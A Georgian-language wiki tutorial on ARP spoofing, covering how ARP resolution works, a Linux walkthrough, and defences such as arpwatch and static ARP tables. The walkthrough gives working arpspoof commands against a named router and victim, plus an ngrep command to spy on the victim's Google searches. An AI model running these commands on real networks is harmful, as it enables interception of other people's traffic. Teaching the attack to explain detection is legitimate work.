თეორია

აგრეთვე ცნიბილი როგორც Arp Poisoning-ი. ამ თავდასხმის მომქმედების გაგებისთვუს საჭიროა ჯერ იცოდეთ როგორ მოქმედებს ARP პროტოკოლით (Address Resolution Protocol) MAC მისამართის დადგენა.

შემდეგი არის ტიპიუი სცენარი, ARP პროტოკოლის მეშვეობით MAC მისანართის დადგენის:

  1. კომპიუტერ A-ს უნდა რომ დაუკავშირდეს სერვერს რომლის IP მისამართი მან იცის.
  2. კოპიუტერი A ჯერ თავის ARP ქეშში ეძებს თუ შიგ არუს დაფიქსირებული ეგ IP მისამართი.
  3. თუ IP მისამართი დაფიქსირებულია (ქეშშია), მაშინ კომპიუტერი A იხმარს სათანადო MAC მისამართს.
  4. თუ IP მისამართი არა არის დაფიქსირებული (ქეშში არ არის), მაშინ კომპიუტერი A ლოკალურ ქსელში გააგზავნის ARP request-ს broadcast (ლოკალურ ქსელში ყოველ კომპიუტერ მიუვა) რეჟიმში.
  5. ლოკალურ ქსელში მყოფ ყოველ კომპიუტერს მიუვიდა ARP request-ი (მათ შორის სერვერსაც რახან იგი ლოკალურ ქსელშია) და სერვერი პასუხობს

(unicast რეჟიმში. ანუ პასუხი მხოლოდ კომპიუტერ A-ს მიუდის და არა ყველას) : “მაგ IP მისამართით კომპიუტერს რომ ეძებთ ეგ მე ვარ, ჩემი MAC მისამართია…”. და შედეგი შენახული იქნება ARP ქეშში.

ეს ყველაფერი ლამაზი კია მაგარამ ეს მაქანიზმი სისუსტეს შეიცავს. თუ მოვინდომეთ რომ კომპიუტერ A-სგან კომპიუტერ B-თან გაგაზავნილი ტრაფიკი მივითვისოთ მაშინ კომპიუტერ A-ს უნდა ვაგონოთ რომ ჩვენ ვართ კომპიუტერი B და კომპიუტერ B-ს კი უნდა ვაგონოთ რომ ჩვენ ვართ კომპიუტერი A. ეს ხდება ARP request-ების გაგზავნით ისე რომ მაგ ორ კომპიუტერის ქეშში არსებული ინფორმაცია შეუცვალოთ და მაშასადამე ჩვენ რასაც გვინდა დავეჯერებთ:

  1. A-ს ქეშში იქნება B-ს IP მისამართი და ჩვენი MAC მისამართი;
  2. B-ს ქეშში იქნება A-ს IP მისამართი და ჩვენი MAC მისამართი.

ამიშ შემდეგ შეგვეძლება რომ ორ კომპიუტერის “შუაში ჩავდგეთ” ტრაფიკს უთვალთვალოთ ან საერთოთ შევცვალოთ.

პრაქტიკა (ლინუქსში)

ვთქვათ ლოკალურ ქსელში ვართ, მოგახსენებთ ინფორმაციას სამი კომპიუტერ/მოწყობილობის შესახებ.

ADSL როუტერი: IP მისამართი: 192.168.0.1 MAC მისამართი: 00:40:F4:8E:4B:85

მსხვერპლი: IP მისამართი: 192.168.0.84 MAC მისამართი: 00:10:A7:0C:E8:BF

ჩვენი კომპიუტერი (თავდამსხმელი): IP მისამართი: 192.168.0.56 MAC მისამართი: 00:0C:76:81:AC:33

როუტერში და მსხვერპლის კომპიუტერში არაფერი არ არის გასაკეთებელი, რაც იქნება მაგალითად მოცემული ხდება მხოლოდ თავდამსხმელის კომპიუტერიდან, root მომხმარებლად. ვხსნით სამ შელს.

ეტაპი 1:

ვიწყებთ IPv4 forwarding-ის გააქტიურებით:

echo 1 > /proc/sys/net/ipv4/ip_forward

ან

sysctl -w net.ipv4.ip_forward=1

ეტაპი 2:

პირველ შელში:

ვიყენებთ arpspoof-ს (რომელიც dsniff-ს პაკეტს მოყვება) რომ 192.168.0.1-ს დავაჯეროთ რომ 192.168.0.84-ის ინტერფეისი გვაქვს:

bash-3.1# arpspoof -i eth0 -t 192.168.0.1 192.168.0.84
0:c:76:81:ac:33 0:40:f4:8e:4b:85 0806 42:
    arp reply 192.168.0.84 is-at 0:c:76:81:ac:33
0:c:76:81:ac:33 0:40:f4:8e:4b:85 0806 42:
    arp reply 192.168.0.84 is-at 0:c:76:81:ac:33

ეტაპი 3:

მეორე შელში:

192.168.0.84-ს ვაჯერებთ რომ ჩვენ ვართ 192.168.0.1-ი:

bash-3.1# arpspoof -i eth0 -t 192.168.0.84 192.168.0.1 
0:c:76:81:ac:33 0:10:a7:0c:e8:bf 0806 42:
    arp reply 192.168.0.1 is-at 0:c:76:81:ac:33
0:c:76:81:ac:33 0:10:a7:0c:e8:bf 0806 42:
    arp reply 192.168.0.1 is-at 0:c:76:81:ac:33

ეტაპი 4:

მესამე შელში:

ტრაფიკს ვუთვალთვალებთ, გვინდა რომ ვნახოტ ვინ რას ეძებს google-ში ლოკალური ქსელიდან.

bash-3.1# ngrep "GET /search" "host 192.168.0.84"

დაკვირვება: arpspoof-ის -t (target, მიზანი) ნიშნავს რომ მსხვერპლი მარტო ერთია დაკვირვება და მხოლოდ ის ვინც მითითებულია, -tს გარეშე ლოკალურ ქსელში მყოფი ყოველი კომპიუტერი გახდებოდა მსხვერპლი და მთელი ტრაფიკი ჩვენს კომპიუტერს გაივლიდა. ამ შემთხვევაში მხოლოდ ერთი მსხვერპლის ARP ქეშს ვაყალბებთ.

192.168.0.84-ის ARP ქეშის ნახვა შეგვიძლია arp ბრძანების მეშვეობით:

bash-3.1# arp -n
Address        HWtype        HWaddress        Flags Mask    Iface
192.168.0.1    ether        00:c:76:81:ac:33        C        eth0

პოსტ სკრიპტუმ

ასევე საჭიროა iptables firewall-ში გავხსნათ IPv4 masquerading მოქმედი ინტერფეისისთვის.

დაცვა

ARP Spoofing-ის განხორციელების დროს მისი შემჩნევა ძნელია, მაგრამ თუ თავდასხმა ხანგძლივია მისი შემჩნევა უფრო ადვილია. ფაქტი რომ იტერფეისი იცვლის MAC მისამართს არ არის ნორმალური გარდა იმ შემთხვევაშუ თუ ახალი კომპიუტერა შეურთეს ქსელში ან ინტერფეისი შეცვალეს ან ახალი მისამართები მიუნეჭეს.

  • arpwatch:

არის პროგრამა arpwatch რომელიც IP და MAC მისამართების ცვლილებებს ტვალს ადევნებს და შეუძლია ARP Spoofing-ის შემჩნევა, მისამართების ცვლილებებს გიგზავნით კიდევაც ელ.ბარათში.

  • სტატიკური IP/MAC მასივი:

მეორე საშუალებაა რომ IP/MAC მისამართების ტყვილები სტატიკურად (რომ დინამიკურად არ შეიცვალოს) დაამყაროთ მაგრამ ყოველივე ცვილება თვენივე ხელებიტ უნდა აკრიფოთ.

ქსელი/arp/arp_spoofing.txt · Last modified: 2011/09/25 13:57 by dzvelivereli
Back to top
Public Domain
chimeric.de = chi`s home Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0